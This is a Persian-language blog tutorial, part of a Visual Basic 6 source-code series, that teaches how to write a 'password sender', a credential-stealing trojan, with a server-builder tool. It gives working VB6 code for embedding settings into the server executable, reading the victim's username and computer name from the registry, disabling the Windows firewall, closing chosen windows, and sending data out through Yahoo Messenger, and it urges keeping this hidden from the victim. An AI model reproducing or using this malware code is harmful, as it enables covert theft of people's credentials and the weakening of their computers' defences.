/ در آموزش ویژوالبیسیک, اشتراک رایگان, ویژوالبیسیک / توسط
آخرین زمان ویرایش:

مجموعه سورس کدهای ویژوالبیسیک ۶ قسمت ۷

جهت مطالعه و دسترسی به سورس ها به ادامه مطلب مراجعه نمائید

آموزش ساخت پسورد سندر با ویژوال بیسیک

اولا می خوام شما رو با تفاوت بین تروجان و پسورد سندر آشنا کنم. خیلی ها بین این دو تا تفاوت قائل نمی شن در صورتی که درست نیست و این دو از زمین تا آسمون با هم فرق دارن.

پسورد سندر نسبت به تروجان کد نویسی ساده تری داره و اصولا برای این نوشته میشه که یک سری پسورد های خاص رو برای نویسنده ش بفرسته ، مثلا پسورد مسنجرها یا چیزهایی از این قبیل. ولی بک تروجان علاوه براین کارها مهمترین چیزی رو که یک هکر می خواد رو براش میاره یعنی: دسترسی کامل به کامپیوتر قربانی . پس یه تروجان می تونه پسورد سندر و کیلاگر(کی لوگر!!) و خیلی چیزهای دیگه رو هم در خودش داشته باشه. من نمی تونم ادعا کنم که یک تروجان کامل نوشتم ولی پسورد سندری که من نوشتم نسبتا مناسب بود و کارش رو به خوبی انجام می داد( البته اگه ایرادتش رو نگم). پس باید بدونید که هدف من آشنا کردن شما با نحوه ی کد نویسی یک پسورد سندر در وی بی هست

ارتباط بین سرور و ادیت سرور:

خوب کسایی که نمی دونن بدونن که سرور همون فایلی هست که شما به کامپیوتر قربانی واردش می کنید و ادیت سرور تنظیمات این فایل رو انجام می ده. البته پی اس (از این به بعد به پسورد سندر می گم پی اس) هایی هم هستن که بدون ادیت سرور نوشت همی شن و اصولا در اختیار عموم قرار نمی گیرن (مثل کد PS1 در فولدر اصلی مقاله که کار یکی از پی اس نویسای معروف ایران هست و آموزشی هست) ولی خیلی ها دوست دارن پی اس با ادیت سرور بنویسین.

اصولا چند راه هست که این ارتباط رو برقرار کنید و نیازی به قرار دادن سورس سرور در ادیت سرور نیست. من یه راه رو معرفی می کنم که فهمش ساده تر هست و تو پی اس خودم ازش استفاده کردم. (اون راه های دیگه رو اگه دوست داشتید تو فولدر E/S Connection بررسی کنید که سورس کامل Toxic-Ps ، Toxic-Cv، PSGهست .) برای این کار ما به یک Property Bag نیاز داریم که اطلاعاتی که می خوایم تو سرور باشن رو توسط ادیت سرور خیلی راحت توش بذاریم. بعد هم سرور که اجرا شد اون اطلاعات رو می خونه و ازش استفاده می کنه! به همبن راحتی! (گفتن نه نوشتن) این اطلاعات میتونه هر چیزی باشه مثل آدرس ایمیلی که اطلاعات می خواهید به اونجا فرستاد هبشه و ازاین قبیل. خوب من این کدها رو پایین آوردم و می تونید بررسی کنید چجوری اطلاعات تو فایل سرور نوشته و توسط سرور خونده می شوند.

On Local Error GoTo errTrap
Dim BeginP As Long
Dim Bag As New PropertyBag
Dim Temp As Variant
Dim mohammad() As Byte
Dim er As String
With Bag
WriteProperty “id”, id.Text
WriteProperty “force”, force.Value
WriteProperty “dial”, dial.Value
WriteProperty “user”, user.Value
WriteProperty “com”, com.Value
WriteProperty “fire”, fire.Value
WriteProperty “IP”, ip.Value
WriteProperty “image”, preview.Image1.Picture
End With
Open App.Path + “” + “serv.exe” For Binary As #2
mohammad = LoadResData(101, “CUSTOM”)
Put #2, , mohammad()
Close #2
FileCopy App.Path & “serv.exe”, App.Path & “” & SrvName.Text
Open App.Path & “” & SrvName.Text For Binary As #1
BeginP = LOF(1)
Temp = Bag.Contents
Seek #1, LOF(1)
Put #1, , Temp
Put #1, , BeginP
Close #1
Kill App.Path + “” + “serv.exe”
Exit Sub
errTrap:
MsgBox Err.Description, vbCritical, “Error”

در اینجا تمام اطلاعات در یک Property Bag نوشته می شود و بعد هم می ره داخل سرور!

فقط باید بدونید که من ابتدا ریسورس فایل سرور رو داخل ادیت سرور قرار دادم. برای این کارابتدا از قسمت Add-in Manager ، VB6 Resource Editor رو فغال کنید .بعد رو کلیک کنید . حالا Add Custom Resource رو بزنید و فایل سرور رو انتخاب کنید.می تونید اسم این ریسورس رو هم عوض کنید البته من همون ۱۰۱ رو به صورت پیشفرض انتخاب کردم.قسمتهایی هم که در کد بالا خط کشیدم مربوط به لود کردن همین ریسورس و تبدیل آن به فایل اجرایی است.

حالا کدهای مربوط به سرور و نحوه ی خوندن اطلاعات رو بررسی می کنیم.

On Local Error Resume Next
Dim BeginP As Long
Dim Temp As Variant
Dim bArr() As Byte
Open App.Path & “” & App.EXEName & “.exe” For Binary As #1
Get #1, LOF(1) – 3, BeginP
Seek #1, BeginP
Get #1, , Temp
Arr = Temp
Bag.Contents = Arr
Bag.WriteProperty “LOF”, LOF(1)
Bag.WriteProperty “BeginPos”, BeginPos
Close #1
With Bag
ID.Caption = .ReadProperty(“id”)
FileNameInstall.Caption = .ReadProperty(“filename”)
Username.Value = .ReadProperty(“user”)
Computername.Value = .ReadProperty(“com”)
Firewall.Value = .ReadProperty(“fire”)
Rand.Enabled = .ReadProperty(“rand”)
End With

ساده بود نه؟ این کارا رو شما هم می تونید انجام بدید. در اینجا اطلاعات از داخل فایل سرور خونده می شود و بر اساس اون مثلا یک تایمر خاص فعال می شود یا یه چیزی مثل این.

خب می ریم سراغ قسمت اصلی که می خواهیم با هم کدهای مخرب رو بنویسیم. این بستگی داره به مهارت برنامه نویسی شما و استعداد شما در این زمینه.چون من هیچ وقت نمی تونم اون چیزی رو که دقیقا شما می خواهید بهتون بدم.پس اینجا با کدهای ساده به صورت دسته بندی شده می ریم جلو که خیلی هاشون تو اکثر پی اس ها استفاده می شن. من اگر بخوام طرز کار همشون رو بهتون خیلی طولانی می شه.پس اینو به خودتون واگذار می کنم. اول تموم توابع API لازم دارید رو به برنامه اضافه کنید تا مشکلی پیش نیاید.

 

Public Function SysDir() As String
Dim SysPath As String
SysPath = String(255, vbNullChar)
GetSystemDirectory SysPath, 255
SysDir = Left(SysPath, InStr(SysPath, vbNullChar) – 1)
End Function

برگشتی این تابع مسیری تو مایه های C:WINDOWSSystem32 هست!

Public Property Get ReadKey(Value As String) As String

 

Dim B As Object
On Error Resume Next
Set B = CreateObject(“wscript.shell”)
r = B.RegRead(Value)
ReadKey = r
End Property

با این کد می تونید کلید های درون رجیستری رو بخونید که تو دو تابع بعدی ازشون استفاده کردم.

Public Sub getuser()
Dim UserString As String
UserString = ReadKey(“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonDefaultUserName”)
User.Text = Username
End Sub

با این روال می تونید یوزر نیم کاربری که به ویندوز لاگین کرده رو بدست بیارید .

Public Sub getCom()
Dim CompName As String
CompName = ReadKey(“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonAltDefaultDomainName”)
com.Text = CompName
End Sub

با این روال می تونید کامپیوتر نیم قربانی رو بدست بیارید.

Public Sub fire()
Dim objFireWall As Object
Set objFireWall = CreateObject(“HNetCfg.FwMgr”)
Set objpolicy = objFireWall.localpolicy.currentprofile
objpolicy.firewallenabled = False
End Sub

این روال تو اکثر پی اس ها استفاده شده ست و می تونه فایروال ویندوز رو غیر فعال کنه!

Private Sub CheckW()
Dim hwnd As Long
Dim wn As String
wn = Space(255)
hwnd = GetForegroundWindow
Handle.Text = Str(hwnd)
whandle.text= hwnd
GetWindowText hwnd, wn, GetWindowTextLength(hwnd) + 1

title.Text = wn
End Sub

 

Private sub close()
Dim I as integer
For i=0 to closelist.listCount-1
If closelist.list (i)=title.text then PostMessage whandle, WM_CLOSE, 0&, 0&
Next i
End sub

این دو تا کد با هم کار می کنن.یعنی روال اولی که باید درون یک تایمر باشه، پنجره ی فعال رو تشخیص میده و هندل و عنوان اون رو تو دو تا تکست باکس می ذاره و کد دوم هم هروقت پنجره ی مخصوصی که شما اسمش رو تو Closelist گذاشتید باز بشه، اون پنجره رو می بنده(این بستگی به شما داره که چجوری بخواهید اسامی پنجره ها رو وارد اون لیست باکس کنید.منظورم بر می گرده به قسمت چگونگی طراحی ادیت سرور).

 

ShellExecute Me.hwnd, “open”, “ymsgr:sendIM?” + ID + “&m=” + mess, 0&, App.Path, 0&

این همون کدی هست که باهاش می تونید توسط یاهو مسنجر مسیج برای یک آیدی خاص بفرستید (البته خیلی ابتداییه) .خب بازم این هنر شمایه که چجوری این پیام رو بفرستید که قربانی متوجه نشه. ضمنا بگم در صورتی این کد کارمی کنه که طرف با یاهو لاگین کرده باشه. وگرنه فقط یاهو باز می شه و طرف شک می کنه. همچنین باید بتونید این صفحه رو از دید قربانی مخفی نگه دارید چون همه چی واضح دیده می شه. ببینم چه میکنین!!

نوشته های مشابه

مجموعه سورس کدهای ویژوالبیسیک ۶ قسمت ۶

جهت مطالعه و دسترسی به سورس ها به ادامه مطلب مراجعه نمائید (بیشتر…)

مجموعه سورس کدهای ویژوالبیسیک ۶ قسمت ۸

جهت مطالعه و دسترسی به سورس ها به ادامه مطلب مراجعه نمائید (بیشتر…)

 کانال تلگرام داده باران شارژ آنلاین

نظری بدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *